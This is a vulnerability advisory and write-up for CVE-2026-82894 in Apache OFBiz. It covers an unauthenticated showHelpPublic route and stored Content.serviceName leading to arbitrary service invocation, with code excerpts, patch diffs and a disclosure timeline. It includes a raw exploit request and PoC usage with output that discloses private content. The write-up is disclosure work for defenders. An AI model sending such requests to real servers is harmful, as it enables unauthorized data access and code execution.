CVE-2026-82894: Apache OFBiz Arbitrary Service Invocation via Content.serviceName
TL;DR
- A Content Manager account with create or update rights could store any registered OFBiz service name on a
Contentrow, then invoke it through a request that needed no login. - The generic create and update services accepted
Content.serviceNameas an ordinary non-key field. showHelpPublicrendered whicheverContentrow the request named, andContentWorker.renderContentAsText()ran the stored service with matching HTTP parameters as its input.- Apache's advisory records arbitrary file write, arbitrary file deletion and server-side request forgery as the result.
- The PoC here demonstrates the same public route disclosing a private
Contentbody without authentication. - CVE-2026-82894 affects Apache OFBiz before 24.09.08 and is fixed in 24.09.08, which stops the renderer reading
serviceNameat all.
Summary
- Product: Apache OFBiz (Java ERP suite)
- Affected Versions: < 24.09.08
- Fixed In: 24.09.08
- Advisory: Apache OFBiz CVE Announcements
- Reported: August 2, 2026
- NVD Published: November 5, 2026
The published CVE covers the stored-service path. My report and PoC demonstrate unauthenticated disclosure through the same public renderer.
| CVE | Component | Vulnerability | Required Privilege | Severity |
|---|---|---|---|---|
| CVE-2026-82894 | Stored Content.serviceName | Arbitrary Service Invocation | CONTENTMGR_CREATE or CONTENTMGR_UPDATE to arm the row; none to trigger it | Important (per Apache) |
| CVE-2026-82894 | showHelpPublic rendering | Unauthenticated Information Disclosure | None | 7.5 (high, reporter-assessed) |
Introduction
Each OFBiz application declares its routes in a controller file, including the request maps marked auth="false".
Public routes usually render fixed content, so request identifiers do not select arbitrary records. showHelpPublic takes contentId from the request and renders that row.
The renderer also runs a service whose name it reads from the row.
Root Cause Analysis
The excerpts below are from the tested release24.09 snapshot at commit b5ca713e. The same files are byte-identical in release24.09.07.
A Public Route to Any Content Row
OFBiz's common controller declares two help routes. showHelpPublic needs no login.
<!-- framework/common/webcommon/WEB-INF/common-controller.xml -->
<request-map uri="showHelp">
<security https="true" auth="true"/>
<response name="success" type="view" value="showHelp"/>
</request-map>
<request-map uri="showHelpPublic">
<security https="false" auth="false"/>
<response name="success" type="view" value="showHelp"/>
</request-map>
Both point at the same view, and that view carries auth="false" as well, so nothing further down re-checks who is asking.
<!-- framework/common/webcommon/WEB-INF/common-controller.xml -->
<view-map name="showHelp" type="screen" page="component://common/widget/HelpScreens.xml#ShowHelp" auth="false"/>
The theme's implementation of that screen branches on helpTopic. Ask for navigateHelp and it builds a navigation tree from the ContentAssoc rows under HELP_ROOT, then includes showDocumentHelp.
<!-- themes/common-theme/widget/HelpScreens.xml -->
<screen name="showDocumentHelp">
<section>
<actions>
<property-map resource="CommonUiLabels" map-name="uiLabelMap" global="true"/>
<property-map resource="CommonExtUiLabels" map-name="uiLabelMap" global="true"/>
<set field="contentId" from-field="parameters.contentId" default-value="${contentId}"/>
</actions>
<widgets>
<container id="Document">
<content content-id="${contentId}" />
</container>
</widgets>
</section>
</screen>
showDocumentHelp takes parameters.contentId without restricting it to the help tree. It does not check that the row is published or that its DataResource is marked public.
The Renderer Runs a Service Named on the Row
That <content> element lands in MacroScreenRenderer, which passes the expanded ID to the content worker.
// framework/widget/src/main/java/org/apache/ofbiz/widget/renderer/macro/MacroScreenRenderer.java
} else if (UtilValidate.isNotEmpty(expandedContentId)) {
if (WidgetContentWorker.getContentWorker() != null) {
renderedContent = WidgetContentWorker.getContentWorker().renderContentAsTextExt(dispatcher, expandedContentId, contentContext, // [1] Content renderer.
locale, mimeTypeId, true);
The row named in the request reaches the worker at [1], which loads it and calls renderContentAsText(). Here is what that method does first, before a single byte of content is rendered.
// applications/content/src/main/java/org/apache/ofbiz/content/content/ContentWorker.java
Delegator delegator = dispatcher.getDelegator();
// [2] Read stored service.
String serviceName = content.getString("serviceName"); //Kept for backward compatibility
GenericValue custMethod = null;
if (UtilValidate.isNotEmpty(content.getString("customMethodId"))) {
custMethod = EntityQuery.use(delegator).from("CustomMethod").where("customMethodId", content.get("customMethodId")).cache().queryOne();
}
if (custMethod != null) serviceName = custMethod.getString("customMethodName"); // [3] CustomMethod override.
if (UtilValidate.isNotEmpty(serviceName)) {
DispatchContext dctx = dispatcher.getDispatchContext();
ModelService service = dctx.getModelService(serviceName); // [4] Service lookup.
if (service != null) {
//put all requestParameters into templateContext to use them as IN service parameters
Map<String, Object> tempTemplateContext = new HashMap<>();
tempTemplateContext.putAll(UtilGenerics.cast(templateContext.get("requestParameters"))); // [5] Request parameters copied.
tempTemplateContext.putAll(templateContext);
Map<String, Object> serviceCtx = service.makeValid(tempTemplateContext, ModelService.IN_PARAM); // [6] Signature-matched inputs.
Map<String, Object> serviceRes;
try {
serviceRes = dispatcher.runSync(serviceName, serviceCtx); // [7] Synchronous invocation.
// ... error handling omitted; it does not change what runs.
The row names the service directly at [2], or points at a CustomMethod record that supplies the name at [3]. [4] resolves the result against the full service registry. There is no renderer allow-list, caller-level service permission check, row-ownership check or login requirement on showHelpPublic.
[5] and [6] decide the arguments. Every request parameter is offered to the service, and makeValid() keeps the ones whose names match its declared inputs, so the attacker writes the service's arguments by putting them in the query string. [7] runs it synchronously, in-process, before rendering continues.
ScreenRenderer puts the live request-parameter map into the screen context at [8].
// framework/widget/src/main/java/org/apache/ofbiz/widget/renderer/ScreenRenderer.java
context.put("requestParameters", SecuredFreemarker.sanitizeParameterMap(UtilHttp.getParameterMap(request))); // [8] Live request parameters.
The sanitiser at [8] protects FreeMarker interpretation. It places no restriction on values used as service arguments.
Getting a Service Name Onto the Row
serviceName is an ordinary column on Content, and OFBiz's own entity definition has been discouraging its use for years.
<!-- applications/datamodel/entitydef/content-entitymodel.xml -->
<field name="serviceName" type="long-varchar"><description>Deprecated : use customMethod pattern instead. Kept for backward compatibility</description></field>
serviceName is an ordinary Content column whose entity definition marks it deprecated. OFBiz's generic createContent service takes every non-key field of the entity as an input.
<!-- applications/content/servicedef/services_content.xml -->
<service name="createContent" default-entity-name="Content" engine="entity-auto" invoke="create" auth="true">
<description>Create a Content</description>
<permission-service service-name="genericContentPermission" main-action="CREATE"/>
<auto-attributes include="pk" mode="INOUT" optional="true"/>
<auto-attributes include="nonpk" mode="IN" optional="true"/>
That auto-attributes line pulls in every non-key field, so serviceName arrives with the title and the description and gets stored like either of them. updateContent is declared the same way with main-action="UPDATE".
genericContentPermission checks the requested operation. It does not inspect which fields are being set. It sets CONTENTMGR as the base permission and passes the action through, so creating a document needs CONTENTMGR_CREATE, with the usual content-role fallbacks behind it.
Impact
An account with content create or update rights picks the code the server runs and supplies its arguments through HTTP request parameters, and the request that fires it needs no session at all. Apache's advisory records arbitrary file write, arbitrary file deletion and server-side request forgery as the outcomes.
I demonstrated the narrower end of the same route. An anonymous request to showHelpPublic returned the body of a private Content record whose DataResource was marked isPublic=N.
Exploitation
Preconditions
- Apache OFBiz before 24.09.08.
- An account holding
CONTENTMGR_CREATEorCONTENTMGR_UPDATE, for the write. - Any application that imports the common controller, which is where
showHelpPubliccomes from.
Manual Request
The public request discloses an ordinary private row. A row carrying serviceName invokes that service before rendering.
POST /sfa/control/showHelpPublic HTTP/1.1
Host: target.example:8443
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: JSESSIONID=<anonymous session>
X-CSRF-Token: <anonymous token>
helpTopic=navigateHelp&contentId=SEC-PRIVATE-CONT
helpTopic=navigateHelp selects the branch that reaches showDocumentHelp, and contentId names the row. Any parameters a targeted service expects ride along in the same body. The CSRF token only applies where a deployment has enabled the stronger strategy, and an anonymous session is issued one for the asking, so it costs the attacker one extra page load.
PoC
The PoC creates an anonymous session, requests a Content row by ID and prints the rendered body. SEC-PRIVATE-CONT points at an ElectronicText DataResource with isPublic=N.
python3 cve_2026_82894.py https://target.example:8443 SEC-PRIVATE-CONT
___ _____ ____ ___ _____
/ _ \| ___| __ )_ _|__ /
| | | | |_ | _ \| | / /
| |_| | _| | |_) | | / /_
\___/|_| |____/___/____|
unauthenticated private-Content disclosure · CVE-2026-82894
discovered by CryptoCat · cryptocat.me
[*] Bootstrapping an anonymous SFA session through /sfa/control/main?visualThemeId=COMMON
[*] Bootstrap response: HTTP 401
[+] Anonymous session cookie obtained
[+] Anonymous AJAX CSRF token obtained
[*] Requesting Content 'SEC-PRIVATE-CONT' through /sfa/control/showHelpPublic
[+] disclosed private Content 'SEC-PRIVATE-CONT' without authentication
------------------------------------------------------------
PRIVATE_ATTACHMENT_BODY: payroll acquisition plan alpha
Arming the Row
The PoC demonstrates disclosure. The authenticated createContent event and service definition show how serviceName was accepted as input.
Patch Diffing
Apache fixed the disclosure path first in 677ca83bf9. The help screen now resolves the DataResource that will be rendered and permits anonymous output only when isPublic=Y.
// themes/common-theme/widget/HelpScreens.xml (showDocumentHelp)
<set field="contentId" from-field="parameters.contentId" default-value="${contentId}"/>
+<!-- ... security rationale omitted. -->
+<script location="component://content/src/main/groovy/org/apache/ofbiz/content/content/ResolveRenderedDataResource.groovy"/>
+<set field="showDocumentHelpDataResource" from-field="renderedDataResource"/>
</actions>
<widgets>
- <container id="Document">
- <content content-id="${contentId}" />
- </container>
+ <section>
+ <condition>
+ <or>
+ <not><if-empty field="userLogin"/></not>
+ <if-compare field="showDocumentHelpDataResource.isPublic" operator="equals" value="Y"/>
+ </or>
+ </condition>
+ <widgets>
+ <container id="Document">
+ <content content-id="${contentId}" />
+ </container>
+ </widgets>
+ <fail-widgets>
+ <label style="h3">${uiLabelMap.CommonPermissionError}</label>
+ </fail-widgets>
+ </section>
The service-invocation fix landed on release24.09 as a3b1039944, cherry-picked from trunk. The renderer no longer reads serviceName. Both commits are ancestors of the final 24.09.08 release tag.
// applications/content/src/main/java/org/apache/ofbiz/content/content/ContentWorker.java (renderContentAsText)
Delegator delegator = dispatcher.getDelegator();
-String serviceName = content.getString("serviceName"); //Kept for backward compatibility
+// ... explanatory security comment omitted.
+String serviceName = null;
GenericValue custMethod = null;
if (UtilValidate.isNotEmpty(content.getString("customMethodId"))) {
- custMethod = EntityQuery.use(delegator).from("CustomMethod").where("customMethodId", content.get("customMethodId")).cache().queryOne();
+ custMethod = EntityQuery.use(delegator).from("CustomMethod")
+ .where("customMethodId", content.get("customMethodId"), "customMethodTypeId", "CONTENT_RENDER")
+ .cache().queryOne();
+ if (custMethod == null) {
+ throw new GeneralException("customMethodId [" + content.get("customMethodId")
+ + "] on content [" + content.get("contentId") + "] is not a content rendering method");
+ }
}
if (custMethod != null) serviceName = custMethod.getString("customMethodName");
if (UtilValidate.isNotEmpty(serviceName)) {
The customMethodId path now accepts only CustomMethod records typed CONTENT_RENDER. An unrecognised record throws, and registered content renderers remain callable.
The second half stops the field being written through the generic services in the first place.
// applications/content/servicedef/services_content.xml (createContent)
<override name="statusId" default-value="CTNT_IN_PROGRESS"/>
<override name="contentName" allow-html="safe"/>
<override name="description" allow-html="safe"/>
+ <!-- ... explanatory security comment omitted. -->
+ <override name="serviceName" mode="OUT"/>
+ <override name="customMethodId" mode="OUT"/>
</service>
Switching an attribute to mode="OUT" takes it out of the service's inputs while leaving it readable in the results, so mass assignment can no longer reach it. updateContent gets the same pair, as do createProductContent and updateProductContent in the Catalog application. The commit also drops the now-dead serviceName field from the Catalog Manager's external content form.
Remediation
Upgrade to Apache OFBiz 24.09.08 or later.
On older builds, the field is worth auditing directly. Any Content row carrying a serviceName or a customMethodId names code that the renderer will run, and on an unpatched build a CONTENTMGR_CREATE or CONTENTMGR_UPDATE grant should be read as permission to choose that code.
Disclosure Timeline
- August 2, 2026: Reported unauthenticated disclosure of private
ContentthroughshowHelpPublicto the Apache OFBiz security team. - August 24, 2026: Apache committed a visibility check to the help screens, so an anonymous caller only reaches content whose
DataResourceis marked public. - August 27, 2026: Apache committed the
serviceNamefix. - August 31, 2026: Apache assigned CVE-2026-82894, shared the draft advisory and requested publication after 24.09.08.
- November 3, 2026: Apache announced OFBiz 24.09.08, the first released version containing both fixes.
- November 4, 2026: Apache publicly announced CVE-2026-82894 in its consolidated OFBiz CVE notice.
- November 5, 2026: CVE.org and NVD published CVE-2026-82894.
Conclusion
The generic create and update services stored serviceName like any other non-key field, and the public renderer read it back as the name of a service to run. OFBiz 24.09.08 removes that field from the service inputs and checks the rendered resource before public help content is shown.